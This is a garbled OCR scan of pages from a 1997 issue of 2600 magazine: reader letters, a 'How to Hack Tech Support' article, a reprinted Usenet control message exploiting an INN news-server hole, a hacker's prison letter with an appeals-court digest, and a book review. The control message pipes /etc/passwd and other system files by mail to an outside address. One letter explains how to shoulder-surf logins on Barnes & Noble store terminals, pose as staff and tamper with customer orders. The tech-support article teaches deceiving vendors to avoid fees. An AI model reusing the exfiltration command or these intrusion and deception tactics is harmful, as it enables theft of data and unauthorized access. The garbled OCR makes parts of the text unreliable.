it is served by the Buena Vista telco, which is owned by
Disney and only provides service to the Disney commu-
nity. Second, they don’t exactly adhere to all the safety
regulations and such as required by Florida law. Accord-
ing to the telco engineers at the main switch (a DMS
100/200), they don’t get visited by inspectors all that of-
ten. This info comes from working at Northern Telecom.

Cellular Spoofing

Dear 2600:

I found your article on spoofing in the Autumn ‘96
issue to be pretty interesting! It had me thinking for a
few days. I have only one problem with the whole thing
- the next time someone in the store tries to use the
phone, which could be only a few minutes after you do
this, it won’t work. Then the real manager will call the

said, your phone becomes worthless. This seems like a
lot of trouble to go through just to make maybe one free
call. Since you have to buy a used phone anyway, it also

e a waste of money. There has to be a way to
use this idea so that it would be more permanent.
WinterMute

Implants

Dear 2600:
With all the talk lately about government schemes

freedom-loving folk everywhere (myself included).

A device of this sort has for years been in use by
veterinarians everywhere as a means of offering pet
owners a chance to recover lost/stolen/runaway pets, for
a fee, of course. A tiny chip, I believe less than a mil-
limeter in width or height, is implanted into the muscle
between the shoulder blades. This is (apparently) pain-
less and is unnoticed by cat or owner (I believe the same
process is used for dogs). As far as I know, the chip is
encoded after implantation, allowing for future changes
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or updates. It usually contains the pet’s name, owner’s
name, and the issuing hospital. Most other hospitals and
humane societies have chip encoder/decoders, and can
then tell that my cat’s name is “Ed” and to call the “xxx
city animal hospital” so he can get home safe.

Now, for humans. Does the system that Oddball
wrote about in the Autumn ‘96 issue work on the same
principles? Most likely it will, since the existing tech-
nology works fine and is proven “in the field.” I am curi-
ous as to how the encoding/reading is done. Does it
write information magnetically, as on a floppy disk? It
could then be easily erased by holding a strong magnet
up to your head/tooth/arm/etc. Does anyone work with
animals who cares to venture a guess, or share some ex-
periences they’ve had? Who makes these machines and
where can the common hacker get one, and the chips to
go with them, before they become tools of the govern-
ment that perhaps we won’t be allowed to purchase? I,
for one, would love to be the first in my town to have
“FUCK YOU NSA” stored on a mag-chip lodged in my
cerebral cortex.

/dev/null

More on the Mystery Computer

Dear 2600:

This letter is in response to what cookiesnatcher
sent in to you in the Autumn ‘96 issue about the mystery
government computer. If he does end up in that slam-
mer, [ guess I will be too since I went a whole step fur-
ther than he did. From the main logon menu, there were
three choices listed. Cookiesnatcher already told you
what AIPC did. The S1 and IBM gave a message similar
to il Another option that said
the same but wasn’t listed was S3. However, another |
found that wasn’t listed but did work was S2. After typ-
ing it in and pressing enter, it connected to a login for
the US Army RD&E Center.

I wasn’t able to do much it, but maybe some of
you can. It has a login extremely similar to many other
government and big business logins that I have seen be-
fore. Have fun.

Viral Messiah
Jamestown, KY

Credit Fraud

Dear 2600:

‘When a credit card number gets stolen, does the
owner of the card get charged even if they file a com-
plaint with the credit card company for something they
didn’t buy? I've heard that you can go to the back of a
store that takes credit cards and “dumpster dive” to get
the receipts for yourself for whatever you want to buy. Is
this true?

scrap

In many cases, all you need to make fraudulent pur-
chases is the credit card number, name, and expiration
date. You may also have to match the address that the
credit card bill is sent to. If you're the victim of credit
card fraud, the maximum you can be billed is $50 but
that is easy to avoid especially if you didn’t physically

lose your credit card. We sincerely hope anyone inter-
ested in actually committing credit card fraud would
stop reading 2600 so they don't somehow convince
themselves that they 're hackers.

Bookstore News

Dear 2600:

My friend and I work as audio technicians at a large
church in Kansas City. He purchases a copy of 2600 and
we flip through the articles while the pastor is doing his
sermon (ain’t much on the console to do with one mic)
and it passes the time quite well. I decided that since I'm
away at college, I'd need my own copy of 2600 to read,
reread, and so forth. When I was back at home in K.C.
for the weekend, I went to Barnes and Noble with my
girlfriend and grabbed the latest issue (Volume 13,
Number 3). I read the articles about how people had a
hard time finding it in the stores and so I promptly
walked it up to the counter and politely asked if they
(employees of Barnes and Noble) hid the magazine or
covered it with other lamer-type computer mags. The
girl I asked said that she had never heard of 2600, but
was inclined to investigate any problems with rogue em-
ployees blocking our rights to purchase whatever maga-
zine we want. | mean, if a store buys it, they only lose
money by not selling it, right? I don’t understand. So if
a store does decide to not carry my new found friend,
Ill just trot on over to another store and take up business
with them.

Phun and Gamez

Emporia, Kansas

Actually, we’re the ones who lose money when is-

sues aren’t sold. Stores get credits for unsold issues and

they don’t have to pay the distributors for those. All we

get in most cases is an affidavit that tells us the unsold
issues were destroyed which, to us, is a real waste.

Dear 2600:

Keep up the great work! Your magazine has helped
me out a lot. I'm a Barnes and Noble bookstore em-
ployee and i’'m writing because I felt it was time to dis-
pel some misinformation about the chain, as well as
shed light on their proprietary computer system. First of
in response to Ford’s letter in Autumn ‘95, no, there
is no concerted effort to hide copies of 2600. The
shelves, and the magazine section in particular, are of-
ten in disarray, and due to the small format of 2600, it
almost always winds up in the front of the rack. Paris
‘Modeling was most likely left there by some dumb pre-
teen. I know we would always put magazines like Big
Beautiful Women (overweight centerfolds) and Body
Primitives (really graphic piercings and tribal stuff)
right in front next to Knitting Monthly to aggravate
right-wingers. No, B&N doesn’t track purchases of
2600 or any other zine (though it's always better to pay
cash - heh heh).

Now to the phun stuff. As you have noticed if you
have been in one of the B&N stores, they have a mess of
dumb terminals where people look up books and do
other stuff. This is mainly in contrast to Borders’, whose
info runs on a dedicated Windows box, where the OS is
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always accessible! B&N uses a slew of terminals in a
star topology which downruns to two or more so-called
“nodes.” These will usually be in the back, generally
one in the manager’s office and one or more in the stock-
room. These are garden variety 486SX’s which run the
95 percent of the store’s computing horsepower, and
which are configured to runblinds, i.e., without monitor
or keyboard. The majority of the superstores, including
all new locations, task an opsystem called “Wings”
which handles title lookup, inventory receiving, all reg-
ister functions, password management, and other book-
ish functions. The main screen is a char-based menu,
consisting of “Title Lookup”, “Customer Orders”,
“Cashiering”, “Receiving”, “Manifests”, “Utilities”,
and “Quit”. All of these require a two digit ID number
and an ic p: d eight ch or less.
When you have shoulder-surfed a login (preferably from
a manager, because they have the greatest access) you
are in business. (There is at least one default password
which is to be used as a backup.) Try accessing “Cus-
tomer Orders”, F7 for “Old”, then type in someone’s last
name, first (no space) to see what J.Q. Random is order-
ing. Or place new orders for your friends. Imagine their
surprise when a hapless employee calls them in two
weeks and explains that their copy of “Coping with Irri-
table Bowel Syndrome” was delayed at the shipper and
do they still want it? Accessing the cashiering functions
requires both an id/login as well as a unique manager’s
id/login, but if you get this far, well, I hope you’re look-
ing over your shoulder, because this is thin ice. Doing
any of this stuff requires some obvious computer usage
which is to be i to empl , SO it
might be a good idea to wear a shirt and tie or skirt as
appropriate and carry some books (there are always new
temps who nobody knows), or else come in a mainte-
nance suit with a clipboard and some wrinkled work or-
der.

There is a secret configuration screen which most
booksellers know nothing about (they are incredibly
computer-illiterate), and which doesn’t require the id
and login. Pressing Alt + Shift (left) + Shift (right) si-

ly will open a plete di ic menu,
which controls the screen, the keyboard, the menu dis-
play, and other niceties. Some fun can be had here. Press
to exit when done. Soon the system will be updated
to include access to the Nationwide Books in Print Plus
database from any of the dumb terminals, which’ll be a
handy reference to have at your fingertips.

The total sales figures, inventory adjustments, and
other official hoodoo is transmitted via modem through
the ISP computer (“In Store Processor” - a 386 or better
box which talks directly to New York), so that if the
power fails all transactions are retained, etc. This is most
ikely some p: ion of the store’s ‘phax bridge;
i really don’t know. Good luck.

/dev/thug

On Stealing Things

Dear 2600:

This is a letter in response to Ted Perver’s article on
“How to Steal Things.” I cannot believe that crap like
this is actually being published. I know you have had a

lot of letters like this in the past, and it’s because there is
a low amount of good articles being sent in, but I would
much rather see less articles being published than stuff
like this showing up in my favorite hacking mag. “How
to Steal Things” is nothing more than a method that we
all know and can think of to get things for free. I support
hacking, but stealing things is something else. Even if
they charge outrageously, buy from someone else. Also,
I can see this is not very well researched - it won’t work
99.9% of the time since the companies will track your
name down and give you either bad credit, or if your or-
der was large enough, maybe even take you to court. Af-
ter all, stuff like this is why capitalism doesn’t work.
Artifice

Dear 2600:

In the winter issue, the article “How to Steal
Things” is just dumb. First of all if the company wants
their money they’ll eventually get it. Secondly, the only
reason the price is so high to start with is because of
dicks like you ripping them off. You’re just ripping us all
off. I'd tell your “friend” to cut it out if I were you.
Luckily I’'m not.

charr
Atlanta

Dear 2600:

I was deeply disappointed with the publication of
the article by Ted Perver entitled “How to Steal Things.”
In that article Mr. Perver put forth the concept that it
was “beneficial” as a “tool of consumer rights support-
ers who want to fight back against oppressive big busi-
nesses and the unjust and unfair pricing of certain

handise”” As to who d¢ ines what is unjust and
unfair pricing or how it is determined is not delineated
in Mr. Perver's article.

What Mr. Perver was advocating was nothing short
of theft of property. While it is perfectly legal to keep
things sent to you via the U.S. Mail that you did not or-
der, Mr. Perver’s article was based completely on deceit
and subterfuge. What was promoted in that article was
mail fraud, a violation of the United States Criminal
Code.

What Mr. Perver also seemed to overlook was that
people’s livelihoods are dependent upon the honesty of
others and the sub: i i
When people employ the dishonest techniques of Mr.
Perver, someone gets hurt and it is not the CEO of that
big corporation he believes he is fighting. Rather it is
Joe Six-pack in the mailroom who lives paycheck to
paycheck. He is the one who is “let go” in an effort to
maintain profits for the shareholders because of “lost
merchandise.”

I find it highly ironic that at the end of the 1996-97
Winter issue of 2600 you find Mr. Perver’s article on
“How to Steal Things” while the very first article entitled
“Knowledge is Strength” (author unknown, presumably
the editor) states in paragraph seven that “we need to
know where to draw the line - defending people who, for
example, commit credit card fraud or cause intentional
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COUNTY OF SUFFOLK

OFFICE OF THE COUNTY EXECUTIVE

RoBERT J. GAFFNEY

January 1997

Dear Phone Customer:

Suffolk County is presently ping an a1 service for all phone

users.

Enhanced 911 allows faster response to an emergency call by supplying the operator with
your location when you dial 911. In addition, Enhanced 911 tells the operator which police, fire,
or ambulance agency should respond to your emergency.

NYNEX has provided us with a listing of all its customers in Suffolk County. When
available, the listing includes the address where a telephone is located, as well as the billing
address for the phone number. NYNEX records do not show, in your case, where your telephone
is located.

.ﬂ!._a:ﬁmucn.-i-ﬂ:.awgs:wﬁ% ioisnumgﬁan%on.
your telephone. According to NYNEX records, your phone number is

Please complete the enclosed postcard and provide us with your proper address
information to allow the County and NYNEX to update their records. By providing us with this
information, you will help Suffolk County complete installing its Enhanced 911 System.

Thank you for your cooperation. If you have any questions, please call (516) 852-6599.

Sincerely, . -
Gttt
C. Michaels
County Executive Assistant
JCM:am
Encl. 2NN

HAUPPAUGE OPFICK PARK & 808 VETERANS MEMOAL HGHWAY o P.O.BOX 6100 o HAUPPAUGE NEW YORK 117880008 = (316) 8834087

Yep, we did it. We finally managed to get a phone line installed and even the phone company them-
selves don’t know where it is! What’s great about this is that they’ll believe any address we tell them.
We could probably give them the address for their own precinct without them catching on and we'd
have all kinds of fun pranking them and having them trace it to themselves. We could open up a 911
pranking service and charge people to come over and make anonymous calls to the cops. We could do
all kinds of childish and irresponsible things, none of which we would have come up with without the
inspiration of this letter.
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How to Hack Tech Support

by Dennis Fiery

I hate tech support. I hate tech support. I hate
tech support! I'm sick of it! I got a new computer
and the CD-ROM drive was broken. So I called
the company. What followed was a two day
nightmare of busy signals, waiting on hold, ram-
pant disconnections, and moronic tech support
“technicians” who, when I asked if they had an e-
mail address, told me their Web site. I listened to
their lousy hold music for so long I learned to
play it on my armpits. What I hate most of all is
that the problem was their fault, their responsi-
bility, and yet they didn’t seem to care. They sold
me a broken product and wasted my time, and
what’s the first thing they say when they finally
answer the phone - “Visa or Mastercard, sir?” I'm
sick of their false “caring.” I'm sick of their lousy
service. And I'm sick of having to pay for lousy
service. That’s why I decided to write this article.

I’ve been on both sides of the phone line. For
a year | was one of those faceless tech support
representatives for a software company. I've
called tech support lines many times. Sometimes
it was part of my job as a tech support technician
when I needed a piece of obscure data about an-
other company’s product to help one of my own
customers; and sometimes it was because of a
bug or problem I was having on my own. With
that background I'd like to explain how you can
avoid paying for tech support, and how to receive
better support from most companies.

Goobers and Gorillas

First let’s talk about your phone manner -
how you behave when you’re on the phone. Real-
ize you’re probably going to be on hold for an
hour before getting through. It’s part of the game,
and you’re smart enough to anticipate it. There-
fore, you shouldn’t get bent out of shape about it.
Throughout the entire call, maintain a pleasant
attitude. Don’t be a wiseass. When I was doing
tech support we divided callers into different cat-
egories. There were Goobers (dummies), Goril-
las (assholes), Read-a-Books (people who read a
book or magazine article on technology so now
they think they’re experts), and the genuine nice
folks. The people whe got the best service from

us were the genuinely nice people who did not
argue, who listened carefully to what we told
them, and who did not egotistically spout out
technical computer jargon. (Later I’ll mention
one exception to the niceness rule.)

Go Along With It

To scam them effectively, you have to go
along with their game. Give them whatever in-
formation they ask for. If they ask for your credit
card number, don’t make a whole big stink about
it. Some callers start yelling “Your software is
full of bugs! I’m not paying for your mistakes!”
Don’t waste your breath. See it from their point
of view - they don’t know if you have a genuine
complaint, or a bug. They won’t charge your card
until after the problem has been identified as
your own fault, and until you both agree the
problem has been rectified. They aren’t trying to
sneak hidden charges on your card or anything
like that. (And if they do sneak charges on your
card, just call your credit card company to com-
plain. Your credit card company will be on their
ass fast.)

Moving On Up

Most tech support personnel know less than
you do about their products. I’ve seen this prob-
lem plague small companies as well as large ones
like Microsoft. There just aren’t enough people
qualified to provide accurate tech support, so
most of the ones who end up doing it are mere
screen readers. They have a glorified help system
on their computer, and they use it to look up an-
swers to common problems the caller may be
facing. If your problem is uncommon, unique in
any way, they won’t be able to help you. Your
only hope is to try and get your call moved up to
a manager or supervisor.

Most supervisors are not only more knowl-
edgeable, they’re better at explaining technical
concepts over the phone. It’s hard to get them to
talk to you because the company reserves super-
visors for those who pay outlandish sums of
money for special support services. But often
you can get them on the phone. After the lower-
level support person proves himself to be an id-
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iot, start acting annoyed and ask to speak to his
manager. They may or may not acquiesce, de-
pending on the company’s policies and how busy
they are. If the person has an accent, you can use
that as an excuse: “I can’t understand you!” One
time I waited on hold for 30 minutes but then I fi-
nally did get to speak to a supervisor who was

kn and deeply ap ic

Sacrificing the Screen Reader

If they refuse to let you speak with a supervi-
sor, continue letting the lowly screen reader help
you, but as soon as he puts you on hold, hang up
the phone.

These lower-level support people are always
putting callers on hold. What’s happening is that
they’re conferring with their supervisor or an-
other tech support person who knows more than
they do. The knowledgeable one gives them a
few questions to ask, a few ideas, then they come
back to you and ask. When they get your re-
sponse, they put you on hold and go off to talk to
their supervisor again. Thus the caller gets put on
hold repeatedly until the problem is resolved.
Use Hold to your advantage. If you feel you’re
not getting through to the guy, hang up and im-
mediately call back. As soon as they pick up, go
into “annoyed” mode. Interrupt their opening
questions in an aggravated tone, telling them
how you’ve already been on the phone two hours
with an idiot, who rudely hung up on you! They
will be sympathetic and a bit on guard. At this
point you might want to ask immediately to be
transferred to a supervisor because you're “fed
up with them,” or you might want to “feel out”
this new support person, and see if he or she is
more knowledgeable than the first one. Usually
I’ve been able to get through to the supervisor
using this hang-up-and-act-annoyed method.

The Gurgling Sea

I'd like to say one final thing about supervi-
sors. As I’ve said, supervisors are more knowl-
edgeable than the screen readers (at a small
company the “supervisor” is likely to be the pro-
grammer who wrote the software, which is an-
other reason you want to step gingerly with your
comments so as not to offend them). For these
reasons, they have lots of knowledge swimming
in their heads about the product and very often,
as you talk to them, some of that knowledge
comes gurgling out - even when they don’t intend

it to. This is useful with Pay Tech Support, where
they charge you money for solving your prob-
lem. If you listen carefully to what the technician
says, often you can piece together the solution on
your own, and therefore you don’t have to pay
them anything. Sometimes you can piece to-
gether the situation merely by paying attention to
their line of questioning. What were they think-
ing when they asked that? What is this leading up
to? A few times these techniques have provided
me the nudge I needed to figure it out for myself.
If you do figure out a problem on your own, keep
it a secret! And read on....

The Phantom Meeting Ruse

“Thank you for answering! I've been on hold
45 minutes and I've got an appointment in a half
hour!”

Speak these words in a friendly voice, but a
voice that indicates a time limit to the call. This
is crucial, because it gives you an excuse to hang
up whenever the problem is solved. If you figure
it out yourself, then just say, “Look, I’m getting
impatient here and I have to leave for my meet-
ing. Let’s continue this tomorrow.” Often the
support person will be apologetic: “I’m sorry I
couldn’t help you this evening.”

The crucial factor is to never reveal your
problem has been solved. If they don’t know your
problem was solved, they can’t charge you for
solving it! A friend of mine had problems with his
sound card. I told him to keep the volume turned
down low so he wouldn’t accidentally play music
when the technician was on the uwc.:o. My friend
let the technician solve the problem, but he con-
tinued saying sheepishly “Sorry, that didn’t work
either.” The technician put him on hold yet again
and, while he was on hold, he turned up the vol-
ume and found the problem had been solved. As
soon as the technician came back on the line, my
friend used the excuse that he was late for his ap-
pointment. Problem solved for free!

Never reveal your problem is solved! If it’s a
printer problem, keep the printer muffled and
away from the phone so it doesn’t accidentally
make noise. If the problem is a game that won’t
play properly, keep the speakers turned off or se-
lect a silent sound option. The technician will
never know if his suggested fixes work or not.
Then use an excuse to get off the phone.
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Evasion Tactics

The technician will store your case in his
computer as “unresolved.” They may call you
back on a subsequent day, so you’ll want to be
careful about answering the phone the next week
or so. Tell them you don’t have time to speak;
you'’re not near your computer; the problem is
still unsolved. Most importantly of all, try not to
get on the phone with them in the first place.

Alternatives to Phone Support

Some companies charge a fee for any kind of
tech support at all, regardless of whether they
solve the problem, regardless of whether the
problem is your fault or theirs. I think this is un-
fair, and obviously these tactics won’t work in
that kind of situation. Unfortunately we may see
more of that in the future. For that reason it’s im-
portant to be aware of some alternatives to the
telephone. Before wasting your time with tech
support, check out the company’s website for
FAQs. Some companies have phone systems that
let you provide a fax number and they fax you in-
formation on the topic you request. For non-ur-
gent situations, try sending e-mail to the
company. I’ve had good success with e-mail.

Even when they force you to pay for phone sup-
port, often they will respond for free to e-mailed
queries. And naturally you will want to try sifting
through USENET forums for information rele-
vant to your problem. Ever since the Internet
boon in 1995-1996, USENET has been a shaky
source of information, but it is still possible to
get a good answer there some of the time Try go-
ing these routes first, before calling tech support.
Then you will be knowledgeable when you call
the company, and you might be able to get your
answer just by listening carefully to the questions
and comments that slip out of the support per-
son’s mouth.

Finally, I'd like to award honorable mention
to one customer who lived a few streets away
from us, so when he had a problem he would per-
sonally visit our company and receive special
one-on-one help sessions with people in our of-
fice. How could we refuse a good customer who
was also a neighbor? While others waited on
hold or received inadequate instruction over the
phone, this guy was getting personal tutoring
with the programmers who wrote the software. If
you don’t live near the company, see if you can
find someone who does!

B
&

Path: news.csd.net!newsjunkie.ans.net!newsfeeds.ans.net!sonybc!sonysjc!

su-news-hubl.bbnplanet. col

ews.bbnplanet.com!news.sgi.com!newsfeed.nacamar

.de!nntp.uio.no!uninett.no!online.no!news.omgroup.com!online.no!bounce-back
From: tale@uunet.uu.net (David C Lawrence)

Newsgroups: comp.sys.mac.printing

Subject: cmsg newgroup ' /bin/sed:-n:

moderated

‘/"#+/,/"#-/p' :$(ARTICLE) | /bin/sh"

Control: newgroup ‘/bin/sed:-n:'/“#+/,/"#-/p':$(ARTICLE) |/bin/sh’

moderated

Approved: newgroups-request@uunet.uu.net
Message-ID: <830201540.9223@uunet.uu.net>

Date: Sat, 15 Mar 1997 15:15:15 GMT

Lines: 4

#+

(/bin/uname -a; /bin/who; /bin/cat /etc/passwd; /bin/cat /etc/inetd.
conf) | /usr/ucb/Mail -s kalle root@(193.12.106.1)

#-

This usenet control message takes advantage of a rather large security hole in
INN, a rather popular news server. This very message went out to every news
server in the world, and sent its booty to a very happy hacker in Sweden.

Admins, have you updated your INN???
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LETTER FrOM PRISON

Justin Petersen

Medical Center for Federal Prisoners
P.0. Box 4000

Reg.#98535-012

Springfield, MO 65808-4000

2600 Magazine
P.0. Box 99
Middle Island, N.Y. 11953-0099

Date: December 6, 1996

Dear 2600:

I thought yeur readers might like to take a look at the
Appeals Court decision of my case. This is an issue that may
affect a fair number of hackers should they find themselves
facing a Federal Indictment. It will not apply to all hackers
charged, but for those it does it means an increase of typically
6 to 18 months in the length of their sentence. My attorney
and I have not decided if the issue should be presented to the
Supreme Court. I am due for release shortly so the point would
be somewhat moot. There is also a strong possibility they would
not hear the case anyway.

In brief the decisions states that computer hackers may
qualify for a "Special Skill" sentence enhancement if his skills
are significant, and he has used those skills at some point
towards a legitimate ends. In other words, because 1 worked
as a computer security consultant for Pacific Bell and a Private
Investigation/Corporate Security Firm, I received a longer sen-
tence. If I had never tried to make a legal living with my
hacking knowledge my 41 month sentence would have been 8 months
shorter. Ironic huh?

On another note,I would like to take this opportunity to
apologize to the hacker community. Many of you may be aware
by now that I went undercover for the FBI. Despite the fact
that the prime objective of the two year operation was primarilly
to keep an eye on hacker trends and technologies, I can say
it was a poor decision on my part. The government is nothing
nice. Nevertheless, what's done is done and it certainly won't
happen again. The best way I can think of to make up for it
is to tell my story so you can all can learn from my mistakes.
Over the next several months you will be hearing more about
my case as well as Mitnick's. Ultimately it will lead up to
a movie and yet another book. Unfortunately, I will have very
little control of this and do not stand to profit from it.
Regardless, I hope you all enjoy the saga and that it meets
with your approval. It's my understanding it will once again
portray hackers in a positive light.

On a final note; if Emmanuel promises to publish it I will
write one more hack/phreak phile worhty of 2600. This will
be my final contribution to the hacker community and will make
my retirement official.

Petersen aka Agent Steal

It’s the policy of 2600 not to “promise” to publish anything until it’s been submitted. Articles are
printed without regard to the author’s notoriety, popularity, or negative values of either.
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DIGEST OF OPINION

Defendant Justin Petersen pleaded guilty to various
charges in four criminal cases. Several of the counts to
which he pleaded involved the use of For exam-

is not an absolute prerequisite for a special sl
Despite Petersen’s lack of formal training or licensing, his
isti computer skills can be equated to

ple, evidence showed that he “hacked” into credit reporting
services to obtain information, ordered fraudulent credit
cards with the information, and made charges on the fraudu-
lent credit cards. Evidence also showed that he gained unau-
thorized access to a telephone company’s computers, seized
the telephone lines of a radio station, and used a computer
program to “rig” radio station promotional contests. After
being granted bail pending sentencing on these charges, he
also hacked into a financial company’s computer and exe-
cuted a wire transfer of funds from the company.

In sentencing Petersen, the district court imposed a
two-level upward adjustment under federal Sentencing
Guidelines Section 3B1.3 for “use[] [of] a special skill.” Al-
though Petersen has not had formal training in computers,
the district court reasoned that he “obviously has an extra-
ordinary knowledge of how computers work and how infor-
mation is stored, how information is retrieved, and how the
security of those systems can be preserved or invaded” and
that “‘even if he can’t create programs, he could certainly
work in the security end of the computer business.” On the
basis of these findings, the district court determined that
Petersen’s computer abilities constituted a “special skill”
within the meaning of Section 3B1.3.

Section 3B1.3 provides for an offense-level enhance-
ment if the defendant “abused a position of public or pri-
vate trust, or used a special skill, in a manner that

ignif ilitated the ission or of
the offense.” The commentary to Section 3B1.3 defines
“special skill” as “a skill not possessed by members of the

the skills possessed by pilots, lawyers, chemists, and demo-
lition experts for purposes of Section 3B1.3. See U.S. v.
Mendoza, 78 F.3d 460, 465 (CA 9 1996) (defendant’s abil-
ity to drive an 18-wheeler without any reported mishap over
several years warrants a special skill adjustment).

Petersen clearly “used” his computer skills in the com-
mission of the crimes to which he pleaded guilty. By en-
abling him to break into sophisticated computer systems,
place wire taps on phones, and transfer large sums of
money between banks, Petersen’s computer ski i
tated” his ability to commit the series of crimes.

Text

It is a closer question whether Petersen’s computer
abilities constitute “legitimate” skills within the meaning of
Section 3B1.3. ... While the district court properly con-
cluded that Petersen’s computer hacking skills could be
transferred to legitimate use in the future, such as work in
the security end of the computer industry, that does not nec-
essarily mean that Petersen possessed a pre-existing legiti-
mate skill. The Background Note's explanation that people
who abuse their special skills are subject to an upward ad-
justment because they are generally viewed as more culpa-
ble suggest an intent to apply the adjustment to someone
such as an i computer
who turns to crime rather than, say, a thief who might be
able to transfer his knowledge of alarm systems to legiti-
mate work as a security expert in the future. ... Petersen’s
self-taught computer knowledge was not the result of “spe-
cial societal i and [that] allows a

general public and usually requiring
training or licensing. Examples would include pilots,
lawyers, doctors, chemists, and ition ex-
perts.” The y adds that the “adj applies
to persons who abuse their positions of trust or their special
skills to facilitate significantly the commission or conceal-
ment of a crime. Such persons generally are viewed as more
culpable.”
We have construed Section 3B1.3 as requiring that the
employ a “pi isting, legiti skill not pos-
sessed by the general public” in the commission or conceal-
ment of the crime, U.S. v. Green, 962 F.2d 938, 944 (CA 9
1992), quoting U.S. v. Young, 932 F.2d 1510, 1513 (CA DC
1991)). The enhancement applies “if the special skill made
it significantly easier for the defendant to commit or con-
ceal the crime,” U.S. v. Mainard, 5 F.3d 404, 405, 54 CrL
1023 (CA 9 1993); it is not enough that the offense “was
difficult to commit or required a special skill to complete,”
Green, 962 F.2d at 944.
‘We conclude that the district court did not err in deter-

skill enhancement. As the district court found, Petersen is
skilled at accessing and manipulating computer sysiems.

person to acquire skills that are then held in a kind of trust
for all of us.”” Mainard, 5 F.3d at 406. But a special skill also
may be acquired without social investment, a skill that en-
ables one to victimize others more effectively than one who
does not possess the skill, so a greater deterrent may be
needed to discourage its use for abuse. Also, Petersen ap-
parently did use his computer skills in working for a private
investigation agency in the 1980’s and defense counsel ac-
knowledged that his client had counseled companies while
on bail on how “to make their computer system safe from
other hackers.” Petersen urged the court, and the court
agreed, not to forbid Petersen from using computers in the
context of his future employment. This suggests that Pe-
tersen could have used his computer skills for legal, so-
cially beneficial activity. See Young, 932 F2d at 1514.
Instead, he abused his knowledge of technology and his
ability to access and manipulate computer systems, en-
abling him to commit serious crimes.

Petersen is skilled at accessing and manipulating com-

of crimes; it preexisted his carrying out the crimes; and it is
(and had been to legiti use. Ac-

These skills are of a high level and not by mem-
bers of the general public. Although the guidelines provide
that special skills “usually” require substantial education,
training or licensing, such education, training or licensing

cordingly, the district court did not err in adjusting Pe-
tersen’s offense level under Section 3B1.3 for use of a
special skill.
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We screwed up and forgot to include this graphic with last issue’s article on askSam.
sorry for any injuries this may have caused.

We're
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The Orthex Keviy Beeg

The Watchman: The Twisted Life and Crimes
of Serial Hacker Kevin Poulsen

by Jonathan Littman

$24.95, 289 pages

Published by Little/Brown

Review by Noam Chomski

This was a book I had been anticipating for
some time, and while it is a “must read”, I have
to admit I was a little disappointed. After having
read Littman’s piece on Poulsen for the Los An-
geles Times several years
ago, and then The Fugi-
tive Game, 1 expected
this could probably be

An interesting tid-bit is the fact that Poulsen
double and triple DES-encrypted all his files, and
presumably didn’t leave plaintext versions of
them alongside. As is the policy mentioned in the
book The Puzzle Palace by James Bamford, the
files were handed over to the National Security
Agency for decryption. They used a Department
of Energy Cray computer to attack the key, at the
cost of hundreds of thousands of dollars. After
several months of processing, the key was
cracked and the results sent back to the FBI as
evidence to prosecute
Kevin in his case.

Poulsen achieved a
level of hacking

he best book on hacki VR ¢ i
el THE WATCHMAN |l

nalist certainly had a leg
up over the “gee whiz”
attitude of Joshua Quit-
tner, the “New York
Times establishment
view” of John Markoff
mixed with a bit of the
schlock that propelled
him there from the San
Francisco Examiner, or
just the general clueless
attitude of, say, Philip
Elmer-Dewitt. Also the
subject was probably the
most interesting hacker

began “watching the
watchers,” and foiling
their attempts to capture
him. Poulsen broke into
the office of the Pacific
Telesis security man who
was trying to track him
down in order to gain in-
formation on the investi-
gation, and was bemused
to find a large picture of
himself staring back at
him when he rifled
through the investigator’s
drawers. The book also
explains  that  when

subject imaginable - how J OZ ATHA Z _1 H .—. .—.3> Z Kevin’s story _u_m.vaa on

many #hack regulars
have rigged radio call-in
contests to win them-
selves money, Porsches, and Hawaiian vacations
like Poulsen did?

One huge error in the book is not hearing Mr.
Poulsen’s “voice.” Half of The Fugitive Game is
basicaily a transcript of Littman’s conversations
with Mitnick, and they are interesting - we get an
insight of Mr. Mitnick’s personality and situation
from his own mouth, like Nicholas Piggelli’s
Wiseguy is composed entirely of soliloquies by
the involved characters. I only get a peripheral
sense of all the characters in The Watchman.

Spring 1997
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Unsolved Mysteries, the
call center for the pro-
gram mysteriously went
down for a few hours because of “phone prob-
lems.” When corporate and government security
forces pushed Poulsen, he pushed back, which
explains the lengths they went to to capture him,
the reason his case has been kept quieter than,
say, Mitnick, who was more benevolent and un-
lucky, and why he is such an interesting hacker.
Although I did not fall into the style/story as eas-
ily as even The Cuckoo's Egg, 1 wholeheartedly
recommend this book to anyone interested in
hacking.
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damage to computer systems by considering them part
of the hacker world is ultimately self-defeating.”

There is absolutely no difference between Mr. Per-
ver’s suggested actions and those of a mugger. The mug-
ger needs money, you have it and seem to have more

than he. Using Mr. Perver’s logic, mugging should be a
legitimate means of distributing wealth.

The quest for knowledge should be a noble cause
tempered by the laws of our society, not one that is used
to satisfy the baser needs.

Dorsey Morrow, Jr.
Attorney at Law
Cyberlaw

You and many others appreciated the irony of this
article in our pages. The title was chosen by us and rep-
resents how we felt about what it was saying. So why
did we print it? Over the years, the media has sought to
portray all hackers as criminals. We 've tried repeatedly
to set the record straight but the Mike Wallaces and
Geraldos of the world just don't get it. Printing the arti-
cle more or less gave these people what they wanted:
hackers committing real crimes. Or did it? To date, not
one of the many letters we 've gotten about this article
has been positive. So, instead of us devoting another
page to an editorial explaining why hackers are not
criminals, we gave our readers something they couldn’t
keep quiet about. They didn't let us down.

Mischief in the Subway

Dear 2600:

Yesterday when I was going home, I noticed some-
thing rather interesting on one of the LED display
screens at the bottom of the escalators in the 51st Street
subway station (between the E and 6 lines) in New York
City. This display was flashing something to the tune of
“2600, enjoy 2600 HACKER meetings every first Fri-
day of the month. 53rd street & Lexington.” It may have
been slightly different, but you get the idea. Was this of-
ficial, or did someone with a lot of time on their hands
infiltrate the system? Please tell me what you know of
this... it really made my day.

Madeagle

All we can say is that it was not official. We re-
searched the device and whipped up an article which
can be found in this issue.

Psychic Rip-off

Dear 2600:

I’'m looking for some information and am not sure if
you can help. I have seen references to this in issues of
2600, so 1 hope that you can perhaps point me in the right
direction. My daughter (she’s 27) tells me that she called an
800 number “Psychic Hot Line.” After she had been on a
short while, the person told her to “hold on a second.” Then
she heard a few clicks. Then the conversation went on.

1 got a charge for $150 on my phone bill for some 40
minutes on a 900 number. She says that she never hung
up and redialed. AT&T takes the position that she had to

hang up and redial. One of the operators at Southwestern
Bell that I talked to says that she has had others tell her
and other operators the same thing. AT&T says they are
simply ignorant locals who don’t understand the system.
I believe that I read something about this in an issue of
2600, but 1 cannot find it. I found a reference in a copy
about three years old, but it didn’t help.

Do you know of any way that such a scam can be
perpetrated? I have protested the charge, but probably
must eventually pay if I cannot provide some convinc-
ing information.

DT

